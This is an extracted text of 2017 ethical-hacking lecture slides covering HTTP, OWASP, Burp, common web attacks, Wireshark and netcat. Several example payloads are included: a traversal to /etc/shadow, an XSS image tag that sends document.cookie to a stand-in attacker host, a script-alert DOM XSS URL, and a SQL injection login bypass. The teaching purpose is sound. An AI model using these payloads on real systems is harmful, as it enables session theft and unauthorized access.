33
Introduction to Ethical Hacking Summer University 2017 Seoul, Republic of Korea Alexandre Karlov

Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

Embed Size (px)

Citation preview

Page 1: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

Introduction to Ethical Hacking

Summer University 2017 Seoul, Republic of Korea

Alexandre Karlov

Page 2: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

Today

• Some tools for web attacks

• Wireshark

• How a writeup looks like

Page 3: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

0x04 Tools for Web attacks

Page 4: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Overview• Reminders

• HTTP, requests / responses, GET / POST • SQL • OWASP

• A few useful tools

• Attacks • URL manipulation • Client-side protections • «Session Hijacking» • «Cross-site scripting» (XSS) • «Cross-site request forgeries» (CSRF) • SQL injections

Page 5: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

HTTP: a few reminders• HTTP: HyperText Transfer Protocol

• Designed to exchange ressources

• Communication protocol

• Client-Server architecture (requests - responses)

• Application layer, on the top of a reliable stack (TCP/IP)

• It is stateless

IP addressHTTP (TCP port 80)

software

files and ressourcesserver

Page 6: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Client-server architecture

HTTP listener (port TCP 80)Wait for a connection.

IP addressWeb browser (Client)

Open connectionI want […] (GET)

[content]Connexion closed

Click…

Clients:• Browsers• Application (mobile / desktop)• Robots, spiders• Scanner, fuzzers

Servers:• Apache• Microsoft Internet Information Services (IIS)• Tomcat• Nginx• Etc…

Page 7: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

HTTP request

Client Server

Request<METHOD> <RESSOURCE> <PROT_VERSION>

<HEADERS>

<empty line>

<CONTENT (optionnal>

Most of the times GET or POST

Page 8: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

HTTP header fields– General : Cache-Control: no-cache Date: Tue, 15 Nov 2005 08:12:31 GMT

– Request : Accept: text/plain;q=0.5, text/html Accept-Charset: iso-8859-5, unicode-1-1;q=0.8 From: [email protected] Referer: http://www.iict.ch/index.html User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)

– Response : Location: http://www.heig-vd.ch Server: Microsoft-IIS/6.0

– Entity : Content-Encoding: gzip Content-Length: 3495 (en octets) Content-Type: text/html; charset=ISO-8859-4 Last-Modified: Tue, 15 Nov 2005 12:45:26 GMT

Page 9: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

HTTP response

Client Server

Request

Response<PROT_VERSION> <STATUS-CODE> <STATUS-PHRASE>

<HEADERS>

<DATA>

Code Classe Example

1xx Informational 100 Continue

2xx Success 200 OK

3xx Redirection 301 Moved Permanently302 Found, temp. other URI304 Not Modified

4xx Client error 400 Bad Request401 Unauthorized403 Forbidden404 Not Found

5xx Server error 500 Internal Server Error503 Service Unavailable

A file : HTML, JPG, CSS, … Dynamic page : PHP, JSP, … Meta-data

Page 10: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

HTTP with many resources

Client Server

Request image 1

Transfer image 1

Request image 2

Transfer image 2

Request main HTML

Transfer HTML

Finish and display page

Page 11: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

HTTP stateless ?• HTTP is stateless

• A response depends only on the request (independent from others request/responses)

• Personalized URLs • www.isi.com/member.php?id=22393269459487635

• Cookie usage • Use special header fields • Set-Cookie header (in a response) : setup a cookie value. • Cookie header (in a request) : cookie.

Page 12: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Databases / SQL• Most of the time, the Web application uses a database to

store data

Adresse IPSQL (TCP port 3306) server

Adresse IPHTTP (TCP port 80)

files and ressources(dynamic pages)

server

server

Page 13: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Simple Query Language (SQL)• Example of the table « users »

• Simple commands allow the Web application to interact with the database : • INSERT INTO users (id, username, password) VALUES (‘4’, ‘Elvis’, ‘1234’); • UPDATE users SET password = ‘4567’ WHERE username = ‘Elvis’; • DELETE FROM users WHERE username = ‘Elvis’; • SELECT id, username FROM users WHERE username = ‘Elvis’ and

password=‘1234’

id name password

1 Artur Art_pwd

2 Charlie kjasd7812

3 Bob 912kkas9

4 Elvis 1234

Page 14: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

OWASP overview• The Open Web Application Security Project (OWASP)

• International organization, Open Source

• Free participation and open to anyone

• Mission : promote application security • Web, software, mobile, …

• Ressources : • Documentation (wiki, books, ...), guides, mailing lists, codes, tools, local

chapters & conferences, …

• ~30’000 peoples, 190 chapters, 140 projects, supporters

• www.owasp.org

Page 15: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

OWASP : Projects / knowledge• Top 10

• WebGoat

• WebScarab

• Zed Attack Proxy (ZAP)

• ESAPI

• ASVS

• Development guide

• Code review guide

• Testing guide

• and many many others.source : https://www.owasp.org/images/f/f9/OWASP_Overview_Winter_2009v1.pptx

• 9,421 articles

• 427 presentations • 200 updates per day • +300 mailing lists

• 180 blogs

• 19 hacking attempts

• 2,962 files uploaded

Knowledge base :

Page 16: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

OWASP : Top Ten (2013)

[source] http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx

Page 17: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Useful tools• Web browsers

• Some attacks require just a browser.

• Some attacks require additional tools • Browser plugins (Tamper data, Firebug, etc.) • External tools, analysis/interception of communications

• Example : Advanced interception proxys

• The «simples» proxies became powerful suites with many functionalities • Example : Burp suite

• Automated tools • Web scanner/fuzzer/spider

Page 18: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Interception Proxy

• Other functionalities : • Interception proxy • Spider • Fuzzer • Vuln scanner • Manual requests • Cookies/session/tokens analyzer

Client

Server

ToolsRequêtes...

Réponses... Tools

should be configured to connect to the local proxy

Relay messagesAlter messages

Exemples : Burp, ZAP Proxy, Nikto, TamperData, …

Page 19: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Burp Suite• The most well-known toolbox for web hacking

• Comprises: • Proxy - intercept and modify requests • Spider - discover content • Scanner - vulnerabilities scanner • Intruder/repeater - attack tools • …

• Free version available in Kali

Page 20: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Web attacks• URL manipulation

• Client-side protections

• «Session Hijacking»

• «Cross-site scripting» (XSS)

• «Cross-site request forgeries» (CSRF)

• SQL injections

• (and many others)

Page 21: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

URL manipulation / forgery• Ressource discovery

• In an URL : • "../.." • "../../../../../etc/shadow" (password file)

• In a general way : • URL forgery for directory • URL forgery to access special files (e.g.: *.php~) • Parameters tampering in the URL or in the cookie :

• identifier, role, ressource, etc.

Page 22: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Client side protections• Client side protections can be bypassed!

• Cookie values • «Referer» • Javascript or any result of a script which gets executed on client-side • Fields (even if choice selection, hidden, or protected by Javascript) • and many others

• The Web application should do (or re-do) the controls server-side.

Page 23: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Session hijacking• A session can be stolen : Log into a system without authentication

• HTTP : cookie stolen, URL stolen, URL forgery, etc.

Client Server

GET pub.php&id=2093847029

pub.php&id=2093847029

Get the session by stealing the id

parameter

GET pub.html cookie

pub.html

GET index.html

index.html Set-cookie

Il suffit de voler le cookie pour accéder à la session !

Client Server

Get the session by stealing the cookie

Page 24: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

XSS - Cross site scripting• Reflected XSS (non-persistent)

• The attacker injects data, and it is used as-is in the response or in a script. • Exemple : search engine on websites.

• Stored XSS • The data injected by an attacker are stored on the server. • At each new access, the client will receive the stored script (XSS). • Exemples : forums, gold books, ....

• DOM-based XSS • « Document Object Model » (DOM) modification • Injection generally happens in the URL.

• BeEF tool - Browser Exploitation Framework

Page 25: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

XSS - Example stealing webmail cookie

www.pirate.comwww.coldmail.com

2. Webmail connection 4. Collect the

cookie

5. Session hijacking

3. Alice access the URL: http://www.pirate.com/cookie.php?a=[cookie](The cookie used is the one from coldmail.com)

Email contains:

<img src="http://www.urlinexsitante.com/im.jpg" onerror="window.location='http://www.pirate.com/cookie.php?a='+document.cookie;">

1. Send an email

Page 26: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

DOM-based XSS : example• Source : https://www.owasp.org/index.php/DOM_Based_XSS

• Expected : http://www.some.site/page.html?default=French

• Attack : http://www.some.site/page.html?default=<script>alert(document.cookie)</script>

• The browser creates a DOM object for the page.

Page 27: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

CSRF - «Cross-Site Request Forgeries»

• CSRF is an attack that forces a user to execute non-desired action(s) on the Web application.

• To force the user, he should execute a special crafted request (delete something, change profile, change email address, etc.)

• The attacker will craft the « good » request.

• Note that the user should be already authenticated (and have interesting privileges) within the application targeted by the attacker

Page 28: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

SU17, Ethical Hacking class, Seoul, 2017

Injections• SQL injections

• A Web application contains a form where the fields are used to build a SQL request. Without protection, it is possible to « play » with the SQL command.

• Example of an HTML authentification form with login et password : If the result of the SQL request return something, SELECT nom, pwd FROM user_db WHERE nom ='$login' AND pwd ='$password' then we continue...else authentication failed.

• If we try to connect with toto et ' OR '1'='1 SELECT nom, pwd FROM user_db WHERE nom='toto' AND pwd='' OR '1'='1' We get an SQL request that always return something (if toto exists).The user will be accepted even if the password is wrong!

• System command injection • Same idea, but in a command that is executed by the system.

Page 29: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

0x05 Wireshark

Page 30: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

Wireshark• The ultimate packet sniffer

• Understanding/reverse engineering of protocols

• Network debugging

• Traffic analysis

Page 31: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

Wireshark

• Capture filters

• Display filters

Page 32: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

Wireshark• Reconstructing streams

Page 33: Introduction to Ethical Hacking - csap Web and... · Introduction to Ethical Hacking Summer University 2017 ... • Nginx • Etc… SU17 ... 3xx Redirection 301 Moved Permanently

Last but not least• Netcat

• Hacker’s Swiss Army Knife

• Read and write tcp ports

• Transferring files, remote administration, reverse shells,…

• Tcpdump

• Command-line packet capture and analyser

• When GUI is not available

• Fast

• To capture for further analysis with Wireshark: